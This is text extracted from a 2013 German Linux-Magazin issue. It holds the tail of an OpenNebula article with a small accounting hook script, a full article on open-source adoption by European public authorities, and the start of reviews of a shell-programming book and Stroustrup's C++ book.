[7] Support für Open Nebula durch C12G Labs:<br />

[http:// opennebula. org/ support<br />

:contracted]<br />

[8] Installations-Tutorial für Open Nebula:<br />

[http:// opennebula. org/ documentation<br />

:rel4. 2:ignc]<br />

[9] Carsten Zerbst, „Continuous Integration<br />

mit Hudson“ (Jenkins hieß früher Hudson):<br />

<strong>Linux</strong>-<strong>Magazin</strong> 07/​10, S. 106<br />

[10] Open-Nebula-Hooks: [http:// opennebula.​<br />

org/ documentation:rel4. 2:hooks]<br />

[11] Ganglia: [http:// ganglia. info]<br />

Listing 2: »/var/lib/one/remotes/hooks/acccount.sh«<br />

01 #!/bin/bash<br />

13 ;;<br />

02 <br />

03 ACCOUNTING=/var/log/one/accounting.log<br />

14 esac<br />

15 <br />

04 <br />

05 case "$1" in<br />

16 if [ "$1" = "" ]<br />

17 then<br />

06 "on"|"off")<br />

18 echo "$0 error: ID missing." >&2<br />

07 mode=$1<br />

19 fi<br />

08 shift<br />

20 <br />

09 ;;<br />

21 id=$1<br />

10 *)<br />

22 shift<br />

11 echo "$0 error: wrong mode." >&2<br />

23 <br />

12 exit 1<br />

24 echo "$id $(date +%s) $mode" >> $ACCOUNTING<br />

Listing 3: Inhalt der »$TEMPLATE«-Variable<br />

01 <br />

18 0<br />

02 1<br />

19 259512<br />

03 one‐sandbox<br />

20 87<br />

04 2<br />

21 0<br />

05 kvm<br />

22 243056<br />

06 qemu<br />

23 12<br />

07 dummy<br />

24 1<br />

08 1377716985<br />

25 <br />

09 ‐1<br />

26 <br />

10 <br />

11 <br />

27 16<br />

12 0<br />

28 <br />

13 65536<br />

29 <br />

14 10<br />

30 <br />

15 0<br />

31 [...]<br />

16 502568<br />

32 <br />

17 100<br />

33


Forum<br />

www.linux-magazin.de Open Source in Europa 11/2013<br />

78<br />

Europas Behörden vertrauen zunehmend auf Open-Source-Software<br />

Abgehängt<br />

In Europa wird der Einsatz von Open-Source-Software allmählich zur Erfolgsstory. Doch wer glaubt, Deutschland<br />

spiele dabei ganz vorn mit, irrt. Der niederländische Journalist Gijs Hillenius von Joinup liefert eine Außenperspektive<br />

auf die deutsche Open-Source-Behördenwelt und zeichnet kein gutes Bild. Gijs Hillenius, Markus Feilner<br />

© elnavegante, 123RF.com<br />

Google, Skype, Twitter – die großen Internetkonzerne<br />

setzen im großen Stil auf<br />

freie Software und <strong>Linux</strong>.<br />

Doch damit auch Behörden davon profitieren<br />

können, braucht es politischen<br />

Rückhalt – und den sucht man in<br />

Deutschland oft vergebens. Das Verhalten<br />

des dafür unter anderem zuständigen<br />

Kompetenzzentrums Open Source [4]<br />

spricht Bände. Es hat in den vergangenen<br />

zwei Jahren keine einzige der Anfragen<br />

der Joinup-Autoren beantwortet, im<br />

Innenministerium scheint es gar einen<br />

Maulkorberlass zu geben, der erfolgreich<br />

verhindert, dass Mitarbeiter Fragen beantworten.<br />

Der typische Niederländer wundert sich<br />

nicht, dass sein Land auf Platz 1 rangiert,<br />

während Deutschland in Sachen<br />

E-Government nur unter „ferner liefen“<br />

auftaucht. Die Rede ist vom E-Government-Ranking<br />

2012 [1] der Vereinten Nationen,<br />

das Deutschland im europäischen<br />

Vergleich auf Platz 10 einstufte.<br />

Oranjer Sieg, German Angst<br />

Das gute Ergebnis lässt sich zum Teil<br />

damit erklären, dass die niederländische<br />

Regierung ihre Bürger in Sachen Open<br />

Source geradezu verwöhnt: Seit 2006<br />

stellt sie einen nativen <strong>Linux</strong>-Client für<br />

die alljährliche Steuererklärung bereit.<br />

Davon können Deutsche nur träumen:<br />

Dort streitet die Branche auch 2013 noch<br />

über Elster-Clients für <strong>Linux</strong>, die Verantwortlichen<br />

wollen die laute Kritik offenbar<br />

aussitzen [2].<br />

Doch auch abseits jeder Häme fragt sich<br />

der externe Beobachter häufig, ob deutsche<br />

Behörden noch immer Angst vor<br />

freier Software haben. Das in der Vergangenheit<br />

immer wieder vorgebrachte<br />

Argument vom fehlenden Support auf<br />

Enterprise-Ebene zieht nicht mehr: Organisationen<br />

wie die Open Source Business<br />

Alliance [3] mit ihren zahlreichen Mitgliedern<br />

versprechen einen ganzen Stack<br />

freier Softwareprodukte, die problemlos<br />

miteinander interagieren sollen.<br />

Zu den Mitgliedern der OSBA zählen Provider,<br />

Konzerne und Softwareschmieden.<br />

Sie bieten eine Produktpalette an, die<br />

von Groupware über CRM, CMS, ERP,<br />

Business Intelligence bis zu hin zu Sicherheitstools,<br />

Middleware und Archivierungstools<br />

reicht und sogar das Betriebssystem<br />

selbst einschließt.<br />

Offenbar sind die deutschen Behörden<br />

noch nicht zu der Erkenntnis gelangt,<br />

dass Innovation häufig nicht mehr auf<br />

dem Markt der geschlossenen, proprietären<br />

Produkte stattfindet, sondern dort,<br />

wo OSS im Einsatz ist. Amazon, Facebook,<br />

Den Liberalen die Marktwirtschaft<br />

erklären<br />

Es sind fast ausschließlich Politiker vom<br />

linken Rand des Spektrums, die es wagen,<br />

Stellung zu Open Source zu beziehen.<br />

Offenbar hat jemand vergessen, den<br />

seit Jahren regierenden Liberalen gerade<br />

in diesem Punkt zu erklären, wie freier<br />

Wettbewerb funktioniert.<br />

Den deutschen Behörden zugutehalten<br />

kann man nur, dass auch in anderen<br />

EU-Staaten zahlreiche Institutionen eher<br />

sparsam mit Auskünften sind. Doch findet<br />

dort gerade eine kleine Revolution<br />

statt: Immer mehr Behörden bevorzugen<br />

Open Source, wenn sie neue Infrastrukturen<br />

und Tools anschaffen, teils absichtlich,<br />

teils aus purer Unwissenheit.<br />

Manchmal sind es schlicht Gesetze, die<br />

sie zwingen, freie Softwaretools zu verwenden,<br />

mindestens genauso oft jedoch<br />

geschieht es, weil ein Softwarehersteller<br />

beispielsweise erklärt, dass die Datenbank<br />

für das CMS jetzt durchaus auch<br />

PostgreSQL sein könne. Das sei ausge-


Abbildung 1: Schwedens legendärer König Gustav Vasa rief das Kammarkollegiet<br />

1539 ins Leben, vor wenigen Jahren hat das Gremium eine vorbildliche<br />

Open-Source-Ausschreibungsvorlage erarbeitet.<br />

reift, laufe stabil und die Behörde könne<br />

sich so die teuren Lizenzen für die<br />

proprietäre Oracle-Datenbank sparen. So<br />

bringen oft kommerzielle Hersteller freie<br />

Software ins Spiel, ohne dass sie direkt<br />

daran verdienen.<br />

Open-Source-Europameister:<br />

Frankreich<br />

Wer aber ist unter den Ländern Europas<br />

Vorreiter in Sachen Open Source, wie<br />

sähe eine Open-Source-Hitparade der EU<br />

aus? An erster Stelle läge da ohne Frage<br />

Frankreich, auch dank des Ayrault Circulaire<br />

[5], eines zentralen Beschlusses<br />

inklusive Handlungsvorgabe, der bis in<br />

die Details beschreibt, wer, wie, wo und<br />

warum OSS verwendet und welche Ergebnisse<br />

damit erreichbar sind.<br />

Möglich machte den auch das Adullact-<br />

Netzwerk [6], in dem sich Beamte und<br />

Angestellte des öffentlichen Dienstes vernetzen<br />

– und von denen sich erstaunlich<br />

viele in der Freie-Software-Bewegung<br />

engagieren. Wer sich damit beschäftigt,<br />

wird überrascht sein, wie tief die Nutzung<br />

von Open Source die französischen<br />

Behörden durchdringt, bis hinein in zahlreiche<br />

Ministerien.<br />

Auf Platz 2, aber nur knapp hinter dem<br />

Spitzenreiter, findet sich Spanien. Dort<br />

hat gar ein so genannter königlicher Beschluss,<br />

das „Royal Decree 4/​2010 on the<br />

National E-Government Interoperability<br />

Framework“, dafür gesorgt, dass offene<br />

Standards und Formate auf dem Vormarsch<br />

sind und in zahlreichen Administrationen<br />

zum Einsatz<br />

kommen [7].<br />

Auch Bronze geht<br />

nach Südeuropa: 2012<br />

machte Italien Open-<br />

Source-Software zur<br />

ersten Wahl für Behörden.<br />

Im Digital<br />

Administration Code<br />

bestimmte die italienische<br />

Verwaltung, wie<br />

freie und proprietäre<br />

Software zu vergleichen<br />

und zu bewerten<br />

sei. Mit der Feinjustage<br />

dieser sonst als<br />

Ding der Unmöglichkeit<br />

eingeordneten<br />

Aufgabe soll sich zukünftig<br />

eine Kommission [8] beschäftigen,<br />

die aber sicherlich noch viel Zeit für<br />

dieses Ziel benötigen wird.<br />

Vorbildliche Ausschreibung<br />

Bis das so weit ist, könnte der dritte Platz<br />

auch an Schweden übergehen, denn das<br />

skandinavische Land hat einen überaus<br />

geschickt eingefädelten Ausschreibungsplan<br />

verfasst. Das altehrwürdige Kammarkollegiet<br />

([9], Abbildung 1), eine bereits<br />

im 16. Jahrhundert von Gustav Vasa<br />

ins Leben gerufene Behörde, organisiert<br />

damit den Support für Institutionen, die<br />

auf Open Source setzen.<br />

Schwedens Framework für OSS-Ausschreibungen<br />

beinhaltet vergleichsweise<br />

einzigartige Vorgaben: So verpflichtet es<br />

Softwarefirmen, neuen Code nachweisbar<br />

an die Upstream-Projekte zurückzugeben,<br />

wenn sie als Partner in einem Projekt<br />

auftreten. Das gilt auch, wenn Subunternehmer<br />

oder weitere Vertragspartner<br />

ins Spiel kommen. Es minimiert zudem<br />

das Risiko der Behörden, indem es dem<br />

Vertragspartner (der Softwarefirma) die<br />

Aufgabe der rechtlichen Prüfung überträgt,<br />

ob der verwendete Code freigegeben<br />

werden darf. Gibt es dabei Probleme,<br />

oder fallen Lizenzgebühren an, dann liegt<br />

das Problem beim Auftragnehmer.<br />

Das Framework erwies sich als Erfolgsmodell,<br />

das Open-Source-Ausschreibungsmodell<br />

hat in den letzten Jahren<br />

enorm an Zulauf gewonnen, kein anderes<br />

Verfahren wächst mit ähnlicher<br />

Geschwindigkeit, auch wenn Schweden<br />

darüber fast ausschließlich Support für<br />

Drupal, Alfresco und Red Hat einzukaufen<br />

scheint [10].<br />

Fünf Anbieter sind dem schwedischen<br />

Staat bereits vertraglich verbunden und<br />

dürfen daher Diensleistungen für die<br />

Regierung, das Erziehungswesen und<br />

alle zwanzig Regionalregierungen anbieten.<br />

Von 290 schwedischen Gemeinden<br />

nehmen 225 am Verfahren teil. Die fünf<br />

Auftragnehmer beschäftigen ihrerseits<br />

wiederum 75 Firmen, meist spezialisierte<br />

oder regionale Dienstleister. Wie die Äste<br />

eines Baums erstreckt sich das Ausschreibungsverfahren<br />

ins nordische Land und<br />

erreicht so die lokale Wirtschaft: Zahlreiche<br />

Einzelunternehmer sind beteiligt,<br />

Mittelständler, kleinere Firmen oder unbekanntere<br />

Open-Source-Spezialisten,<br />

aber auch Schwedens größtes OSS-Unternehmen<br />

mit 180 Mitarbeitern.<br />

Seit Kurzem gibt es dieses Papier auch<br />

auf Deutsch, übersetzt auf Wunsch der<br />

Schweizer Regierungsbehörde Fitsu ([11],<br />

Federal IT Steering Unit). Die Eidgenossen<br />

prüfen derzeit, ob und wie sich der<br />

überaus erfolgreiche Ansatz auf die Alpenrepublik<br />

übertragen ließe. Von diesen<br />

Ergebnissen könnte auch eine deutsche<br />

OSS-Strategie profitieren, falls es sie denn<br />

einmal gäbe.<br />

Auf den Plätzen: Niederlande,<br />

England, Deutschland<br />

Auf den weiteren Plätzen einer europäischen<br />

Open-Source-Hitparade fänden<br />

sich auch die Niederlande, wo mehrere<br />

Regierungsbehörden nicht müde werden,<br />

Open-Source-Pläne und freie Standards<br />

zu fördern, auch nachdem das NoIV-Programm<br />

(Nederland open in Verbinding,<br />

[12]) nicht mehr voranschreitet. Ein<br />

Standardisierungsgremium und die Dachorganisation<br />

King sollen die Gemeinden<br />

unterstützen, die auf freie Software und<br />

E-Government-Dienste setzen.<br />

Schwieriger einschätzen lässt sich die<br />

Lage in Großbritannien. Im Vereinigten<br />

Königreich gibt es eine klare Vorliebe für<br />

Wettbewerb und Herstellerunabhängigkeit,<br />

trotzdem zögert die Administration<br />

immer wieder. Auch wenn es positive<br />

Beispiele gibt ([13], [14]), so gleicht die<br />

Situation doch der deutschen: Auch aus<br />

England erhielten die Autoren keine Antworten<br />

auf Anfragen zum Open-Source-<br />

Open Source in Europa 11/2013<br />

Forum<br />

www.linux-magazin.de<br />

79


Forum<br />

www.linux-magazin.de Open Source in Europa 11/2013<br />

80<br />

Abbildung 2: Das weltweit größte OSS-Migrationsprojekt findet sich in Frankreich,<br />

wo die Gendarmerie jährlich 10 000 Rechner auf Ubuntu umstellt.<br />

Pilotprogramm von 2011, selbst die offiziellen<br />

Sprecher hüllen sich in Schweigen.<br />

Open Source ist Alltag<br />

Dennoch ist freie Software Alltag in europäischen<br />

Behörden. Letztere hängen das<br />

oft nicht an die große Glocke, weil die<br />

Spezialisten OSS mittlerweile in vielen<br />

Bereichen weitgehend als Standard betrachten,<br />

etwa im Bereich der <strong>Web</strong>-Server<br />

und ‐Anwendungen. Eine Behörde, die<br />

kein OSS-Tool im Einsatz hat, gibt es de<br />

facto nicht mehr. Das Open Source Observatory<br />

[15], ein Projekt der Europäischen<br />

Kommission, hat viele weitere Belege gesammelt,<br />

die aber den Rahmen dieses<br />

Artikels sprengen würden. Stichworte<br />

für die Recherche wären Kivos (Schweden),<br />

Frikomport (Norwegen), Mimio<br />

(Belgien), Open Marie (Frankreich) oder<br />

Dänemark mit OS2<strong>Web</strong> oder Ting, von<br />

den einschlägigen Projekten in Italien,<br />

Griechenland, Zypern, Portugal und Irland<br />

ganz zu schweigen.<br />

Dass diese Erfolgsgeschichte im Medien-<br />

Mainstream relativ unbekannt blieb, hat<br />

im Wesentlichen drei Ursachen: Erstens<br />

ist gerade der Bereich, der sprichwörtlich<br />

am sichtbarsten ist, am wenigsten<br />

von Open-Source-Software durchdrungen:<br />

der Desktop. Hier funktioniert der<br />

Vendor-Lock-in nach wie vor am besten,<br />

sind Gewohnheiten der User am schwersten<br />

zu ändern. Wer hier nicht aufpasst,<br />

fährt Migrationen an die Wand, wie in<br />

Freiburg [16].<br />

Zweitens zieht die IT derzeit verstärkt um<br />

– in die Cloud, wobei sich viele Admins<br />

freiwillig wieder in vom Vendor-Lock-<br />

in beschränkte Infrastrukturen<br />

begeben.<br />

Das Thema Cloud beherrscht<br />

die Berichterstattung.<br />

Drittens<br />

erweisen sich gerade<br />

die im öffentlichen<br />

Sektor erforderlichen<br />

Ausschreibungsverfahren<br />

als problematisch<br />

– bisweilen sogar als<br />

schlicht illegal.<br />

Jede fünfte Ausschreibung<br />

legt dem OSS-<br />

Einsatz Steine in den<br />

Weg, indem sie eigentlich<br />

nicht erlaubte<br />

Verweise auf technische Spezifikationen<br />

oder Marken proprietärer Software enthält.<br />

Und dieser Anteil nimmt zu, erklärt<br />

das Open Forum Europe. Die Lobbygruppe,<br />

die in Großbritannien und der<br />

EU freie Software pushen möchte, klagt<br />

über unfaire Voraussetzungen [17]: „Fast<br />

19 Prozent der Ausschreibungen enthalten<br />

solche Referenzen, das ist der höchste<br />

Stand der letzten drei Jahre.“ Dass solche<br />

Fehler auch der Europäischen Kommission<br />

selbst unterlaufen, macht die Sache<br />

nicht wirklich einfacher [18].<br />

Drei Großprojekte<br />

Was aber geschieht in Deutschland? Wer<br />

Migrationsprojekte nach der Anzahl der<br />

migrierten Arbeitsplätze sortiert, findet<br />

das Münchner Limux-Projekt immerhin<br />

unter den Top 3, allerdings mit deutlichem<br />

Abstand zu den ersten beiden<br />

Plätzen. Die 14 000<br />

Rechner, die München<br />

migriert, nehmen sich<br />

gegenüber den 85 000<br />

PCs in den Amtsstuben<br />

der französischen<br />

Gendarmerie (Platz 1,<br />

Abbildung 2, [19])<br />

eher mickrig aus. Die<br />

hat 45 000 Standorte<br />

und migriert jedes<br />

Jahr 10 000 Computer.<br />

Abgeschlossen wird<br />

das Projekt wohl im<br />

Jahr 2015, wenn über<br />

90 Prozent der Rechner<br />

komplett frei und<br />

quelloffen betrieben<br />

Quelle: Wikimedia Commons, CC-BY-SA, Mutxamel,Rastrojo<br />

werden. Immerhin strebt auch München<br />

einen ähnlichen Prozentsatz an – was<br />

wohl kein Zufall ist.<br />

Dass die Gendarmerie überhaupt umgestellt<br />

hat, soll einer gängigen Anekdote<br />

zufolge von einem proprietären Hersteller<br />

initiiert gewesen sein – unabsichtlich<br />

versteht sich. Zumindest ist das die<br />

Geschichte, die Lieutenant-Colonel Xavier<br />

Guimard auf einer niederländischen<br />

Open-Source-Konferenz im Jahr 2009 erzählte<br />

[20]. Ihm zufolge beschwerte sich<br />

ein Hersteller im Jahr 2004 höchstpersönlich<br />

bei einem verantwortlichen General<br />

über einen IT-Mitarbeiter, der die Frechheit<br />

besaß, einfach mit Open-Source-<br />

Tools „herumzuexperimentieren“.<br />

Die versuchte Einflussnahme ging jedoch<br />

nach hinten los, erst dadurch bekamen die<br />

Verantwortlichen Wind von den Möglichkeiten<br />

und niedrigeren Kosten der freien<br />

Software – eine Erfolgsgeschichte kam<br />

ins Rollen. Die finanziellen Einsparungen<br />

sind enorm: „Früher musste einer von<br />

uns das ganze Jahr durch die Welt reisen,<br />

etwa um in Polynesien die Virensoftware<br />

auf den Desktops zu updaten. Vergleichbares<br />

erledigen wir heute innerhalb von<br />

zwei Wochen, ohne Reisekosten, aus<br />

Frankreich“, erklärt Guimard.<br />

Die Extremadura und Limux<br />

Gut fünfmal größer als Limux ist ein<br />

spanisches Projekt: Die autonome Region<br />

Extremadura in Spaniens Südwesten<br />

(Abbildung 3) betreibt mittlerweile<br />

70 000 Rechner mit GNU/​Linex [21]. Das<br />

ins Spanische übersetzte Debian kommt<br />

Abbildung 3: An der portugiesischen Grenze liegt die Extremadura, eine der<br />

historischen Kernregionen Spaniens.


vor allem in Schulen zum Einsatz, im<br />

Dualboot-Betrieb. Etwa 15 000 Linex-<br />

Rechner laufen damit in spanischen<br />

Krankenhäusern.<br />

Doch das ist erst der Anfang: Bald soll<br />

Ubuntu oder eine ähnliche Distribution<br />

weitere 40 000 Rechner in allen Büros<br />

der Regionalregierung ersetzen [22].<br />

Das Projekt firmiert unter dem Namen<br />

Challenge (Herausforderung), Theodomir<br />

Cayetano, CIO der Extremadura, erklärt<br />

die erwarteten Vorteile im Interview<br />

[23]: Mit freier Software ließen sich die<br />

Desktops vereinheitlichen, das Management<br />

zentralisieren und gleichzeitig mehr<br />

Sicherheit und weniger Anfälligkeit für<br />

Malware sicherstellen. Schwierig könnte<br />

nur werden, dass eigentlich kein Geld für<br />

die Migration zur Verfügung stehe.<br />

Auch wenn deutsche Behörden im europäischen<br />

Vergleich nicht gut abschneiden<br />

und von zahlreichen anderen Institutionen<br />

überholt wurden, hat das Land doch<br />

mit dem Limux-Projekt ein Leuchtturmprojekt<br />

aufzuweisen. München begann<br />

als eine der ersten größeren Kommunen<br />

mit der Migration einer fünfstelligen Anzahl<br />

von Rechnern, hat dabei zahlreiche<br />

spannende Open-Source-Projekte ins<br />

Leben gerufen und außerdem viel Geld<br />

gespart [24]. Wollmux, das Formatvorlagen-Managementtool,<br />

hat sich auch<br />

im europäischen Maßstab bewährt und<br />

wurde in den letzten Jahren zu einem<br />

der beliebtesten Projekte auf der Joinup-<br />

<strong>Web</strong>seite [25].<br />

Freiheit, die ich meine!<br />

Der Autor<br />

Gijs Hillenius ist ein unabhängiger<br />

Journalist aus den<br />

Niederlanden. Seit 2007 hat<br />

er über 1500 Artikel über<br />

freie Software verfasst,<br />

viele davon für die Europäische<br />

Kommission und OSOR sowie Joinup [http://​<br />

www. joinup. eu], eine Plattform, die dabei helfen<br />

soll, ICT-Lösungen in Europa zu teilen und weiterzuentwickeln.<br />

Limux ist auch außerhalb der Community<br />

das mit Abstand bekannteste OSS-Migrationsprojekt.<br />

Das verdankt das Vorzeigeprojekt<br />

in weiten Teilen der politischen<br />

Rückendeckung durch Münchens Oberbürgermeister<br />

Ude, der die Stadt frühzeitig<br />

auf den Pfad freier Software führte<br />

und auch als „Desktop Number One“ mit<br />

gutem Beispiel voranschritt – obwohl gerade<br />

Microsoft stets mit harten Bandagen<br />

kämpfte und alles tat, um die Entscheidung<br />

revidieren zu lassen [26]. Dank<br />

seiner großen Außenwirkung entwickelt<br />

sich das Projekt zum schmerzenden Stachel<br />

in Redmond.<br />

Der durchaus mit kabarettistischem Talent<br />

ausgestattete Ude erzählt dementsprechend<br />

gern, beispielsweise auf den<br />

Münchner Open Source Tagen 2012, die<br />

Geschichte von einer intimen Limo-Fahrt<br />

mit Bill Gates persönlich: Auf dem Rückweg<br />

von einem Vortrag von Ude in Kalifornien<br />

bot der damalige Microsoft-Chef<br />

dem OB an, ihn mit seiner Limousine<br />

zum Flughafen zu fahren.<br />

Der Oberbürgermeister nahm dankend<br />

an, fand sich jedoch kurz darauf hinter<br />

verdunkelten Scheiben in einem sehr privaten<br />

Gespräch mit Gates wieder, der die<br />

halbe Stunde Fahrt offensichtlich dazu<br />

nutzen wollte, den OB zu überzeugen,<br />

seine Limux-Entscheidungen rückgängig<br />

zu machen. Den Einstieg suchte Gates mit<br />

der beiläufigen Frage: „Warum machen<br />

sie das [die Migration]?“ Udes Antwort:<br />

„Um Freiheit zu gewinnen.“ – „Freiheit<br />

wovon, Mr. Ude?“ – „Freiheit von Ihnen,<br />

Mr. Gates.“ Der Rest der Fahrt, so erzählt<br />

Ude, sei in einvernehmlichem Schweigen<br />

vonstattengegangen. <br />

n<br />

Infos<br />

[1] United Nations E-Government Survey:<br />

[http:// www. un. org/ en/ development/​<br />

desa/ publications/ connecting<br />

‐governments‐to‐citizens. html]<br />

[2] Elster für <strong>Linux</strong> und Mac nicht geplant:<br />

[http:// www. finanzamt. bayern. de/ LfSt/​<br />

Aktuelles/ Pressemitteilungen/ 2013/<br />

03‐12. php? f=LfSt& c=n& d=x& t=x]<br />

[3] Open Source Business Alliance:<br />

[http:// www. osb‐alliance. de]<br />

[4] Kompetenzzentrum Open Source:<br />

[http:// www. cio. bund. de/ DE/ IT‐Angebot/​<br />

Kompetenzzentrum‐Open‐Source/​<br />

kompetenzzentrum_opensource_node. html]<br />

[5] Frankreich plant konsequent mit OSS:<br />

[https:// joinup. ec. europa. eu/ community/​<br />

osor/ news/ ministries‐france‐detail‐use<br />

‐and‐plans‐free‐software]<br />

[6] Adullact: [http:// www. adullact. org]<br />

[7] Spaniens Royal Decree 4/​2010:<br />

[https:// joinup. ec. europa. eu/ community/​<br />

osor/ news/ spains‐zaragoza‐continues<br />

‐gradual‐switch‐open‐source]<br />

[8] Italien schreibt Open-Source-Software<br />

vor: [http:// www. linux‐magazin. de/ NEWS/<br />

OSS‐Vorreiter‐Italien‐schreibt‐Open<br />

‐Source‐Software‐in‐Behoerden‐vor]<br />

[9] Kammarkollegiet:<br />

[http:// www. kammarkollegiet. se]<br />

[10] Schweden bringt OSS-Ausschreibungs-<br />

Framework: [https:// joinup. ec. europa. eu/​<br />

news/ se‐framework‐agreement‐increases<br />

‐use‐open‐source]<br />

[11] Fitsu hat übersetzt: [http:// www.​<br />

digitale‐nachhaltigkeit. ch/ 2013/ 04/​<br />

oss‐rahmenvertraege/]<br />

[12] Nederland open in Verbinding: [https://​<br />

www. ictu. nl/ archief/ noiv. nl/ index. html]<br />

[13] Leeds Hospital: [http:// www.​<br />

ehealthopensource. com/ case‐studies/<br />

leeds‐teaching‐hospitals‐nhs‐trust/]<br />

[14] Großbritanniens IT im <strong>Web</strong>:<br />

[https:// www. gov. uk]<br />

[15] Open Source Observatory:<br />

[http:// www. osor. eu]<br />

[16] Freiburg: [http:// www. linux‐magazin. de/​<br />

NEWS/ Vollgas‐zurueck‐Freiburg‐will‐im<br />

‐Eilverfahren‐zurueck‐zu‐MS‐Office]<br />

[17] Open Forum beklagt Ausschreibungsfehler:<br />

[https:// joinup. ec. europa. eu/ news/<br />

openforum‐europe‐procurement‐law‐fails<br />

‐address‐discriminatory‐practices]<br />

[18] Ausschreibungsfehler der EU:<br />

[http:// www. computerweekly.​<br />

com/ blogs/ public‐sector/ 2012/ 07/​<br />

-the‐european‐commission‐has. html]<br />

[19] Ubuntu der Gendarmerie:<br />

[http:// en. wikipedia. org/ wiki/ GendBuntu]<br />

[20] Gendarmerie spart mit Open Source:<br />

[http:// joinup. ec. europa. eu/ news/ fr<br />

‐gendarmerie‐saves‐millions‐open<br />

‐desktop‐and‐web‐applications]<br />

[21] GNU/​Linex:<br />

[http:// en. wikipedia. org/ wiki/ GnuLinEx]<br />

[22] Extremadura: [http:// joinup. ec. europa. eu/​<br />

community/ osor/ news/ spains<br />

‐extremadura‐starts‐switch‐40000<br />

‐government‐pcs‐open‐source]<br />

[23] Interview mit Extremadura-CEO Theodomir<br />

Cayetano: [http:// joinup. ec. europa.​<br />

eu/ news/ extremadura‐move‐all‐its‐40000<br />

‐desktops‐open‐source]<br />

[24] Limux: [http:// www. muenchen. de/ limux]<br />

[25] Wollmux: [http:// www. wollmux. net]<br />

[26] Markus Feilner, „Ein idealer Sündenbock“:<br />

<strong>Linux</strong>-<strong>Magazin</strong> 09/​11, S. 38<br />

Open Source in Europa 11/2013<br />

Forum<br />

www.linux-magazin.de<br />

81


Forum<br />

www.linux-magazin.de Bücher 11/2013<br />

82<br />

Bücher über Shellprogrammierung sowie über C++<br />

Tux liest<br />

Das <strong>Linux</strong>-<strong>Magazin</strong> hat sich diesmal zwei dicke Bände vorgenommen: Der erste ist deutschsprachig und<br />

beschäftigt sich mit Shellprogrammierung, der zweite ist in Englisch verfasst und stellt die Sprache C++<br />

aus dem Blickwinkel ihres Erfinders Bjarne Stroustrup dar. Bernhard Bablok, Rainer Grimm<br />

Auf dem Buch „Shellprogrammierung“<br />

(vierte, überarbeitete Auflage) prangt als<br />

Untertitel „Das umfassende Handbuch“.<br />

Mit 800 Seiten übertrifft es aber die übliche<br />

Handbuchgröße deutlich. Im Grunde<br />

unnötig, denn es enthält viele Kapitel, die<br />

mit Shellprogrammierung gar nichts zu<br />

tun haben: Wichtige <strong>Linux</strong>-Kommandos<br />

sind mit dem Thema ja noch verwandt,<br />

aber die Kapitel über HTML, CGI-Programmierung<br />

und Gnuplot scheinen doch<br />

mehr der Pflicht geschuldet zu sein, das<br />

Buch vollzukriegen.<br />

Shell und mehr<br />

Die enthaltenen <strong>Linux</strong>-Kommandos zeigen,<br />

dass das Buch sich aber nicht nur als<br />

Handbuch für die Shellprogrammierung<br />

versteht, sondern eher als Handbuch für<br />

den Alltag des Sysadmin gedacht ist – zu<br />

dem auch die Shellprogrammierung gehört.<br />

Für die Zielgruppe der angehenden<br />

Admins ist das Buch also durchaus zu<br />

empfehlen. Wer sich aber mit <strong>Linux</strong>/​Unix<br />

auskennt und gezielt ein Buch über die<br />

Shellprogrammierung sucht, ist nicht so<br />

gut bedient.<br />

Das umso mehr, als das Buch hier eben<br />

nicht „umfassend“ angelegt ist. Die Autoren<br />

behandeln zwar neben der Bash<br />

auch andere wichtige Shells (wie »sh«<br />

oder »ksh«) und gehen – wenn nötig –<br />

Info<br />

Jürgen Wolf, Stefan<br />

Kania:<br />

Shell-Programmierung<br />

Galileo Computing, 2013<br />

800 Seiten<br />

40 Euro (Online-Ausgabe<br />

35 Euro)<br />

ISBN 978-3-8362-2310-2<br />

auf Unterschiede ein, aber die Neuerungen<br />

der Bash 4 erwähnen sie überhaupt<br />

nicht. Das ist ein schweres Manko, denn<br />

die aktuelle Version der Bash ist mehr als<br />

vier Jahre alt und inzwischen Standard<br />

auf den meisten Systemen.<br />

Darüber hinaus leistet sich dieser Band<br />

eine Reihe schwerer Patzer rund um das<br />

Quoting, etwa bei der Erklärung des Unterschieds<br />

zwischen »$*« und »$@«. Das<br />

wird Anfängern nicht auffallen, aber gerade<br />

das Quoting muss einfach stimmen,<br />

sonst wird der angehende Programmierer<br />

jahrelang mit Fehlern in seinen Skripten<br />

kämpfen.<br />

Diese Mängel sind bedauerlich, denn das<br />

Buch ist didaktisch gut aufgebaut, schön<br />

gedruckt und die Mischung aus Theorie<br />

und Praxis ist ansprechend. Störend wirkt<br />

nur eine Reihe völlig unnötiger Anglizismen,<br />

in den Kapitelüberschriften etwa<br />

„Bash und Kornshell only“. Hier hätte das<br />

Lektorat eingreifen müssen.<br />

C++-Bibel aktualisiert<br />

Mit gut 1300 Seiten zählt „The C++<br />

Programming Language“ von Bjarne<br />

Stroustrup in der vierten Auflage ebenso<br />

viele Seiten wie der aktuelle C++-Standard,<br />

der Grundlage des Buches ist. Alleine<br />

60 Seiten widmet der Erfinder von<br />

C++ dem Index.<br />

Das Buch genießt seit seiner ersten Auflage<br />

einen legendären Ruf. Gilt es doch<br />

einerseits als die C++-Bibel, andererseits<br />

als ein Buch, das den Einsteiger aufgrund<br />

seines Umfangs und seiner Akribie zu<br />

erschlagen droht. Diesem Ruf wird auch<br />

die aktuelle Auflage gerecht.<br />

Es besteht aus vier Themenblöcken, die<br />

in mehrere Kapitel aufgeteilt sind. Bevor<br />

Bjarne Stroustrup auf gut 300 Seiten die<br />

Grundlagen der Programmiersprache darlegt,<br />

gibt er eine Einführung in C++ im<br />

Allgemeinen und in sein eigenes Werk im<br />

Besonderen. Dabei versteht er unter den<br />

Grundlagen von C++ den C-Kern. Auf<br />

die Grundlagen in C folgen die Abstraktionen<br />

in C++. So beschäftigt Stroustrup<br />

sich im zweiten Drittel des Werkes mit<br />

objektorientierter und generischer Programmierung.<br />

Den Abschluss bildet die Standardbibliothek.<br />

Das umfasst die Standard Template<br />

Library, die I/​O-Streams, die neuen<br />

Bibliotheken für reguläre Ausdrücke<br />

und Smart Pointer, aber auch die neue<br />

Multithreading-Funktionalität von C++.<br />

Der Autor stellt nicht nur C++ mit vielen<br />

Codebeispielen und großer Liebe zum<br />

Detail vor, er belegt die Theorie auch mit<br />

Verweisen zum C++-Standard, setzt sie in<br />

mehreren Beispielen zu String-, Datumund<br />

Vektorklassen um und beendet jedes<br />

Kapitel mit einigen Ratschlägen.<br />

Neben der vielen Theorie und Praxis<br />

zieht sich aber ein Aspekt wie ein roter<br />

Faden durch das ganze Werk und<br />

hat ihm den Ruf einer Bibel eingebracht:<br />

Bjarne Stroustrups Vorstellung von gutem<br />

C++-Stil, den er immer und immer wieder<br />

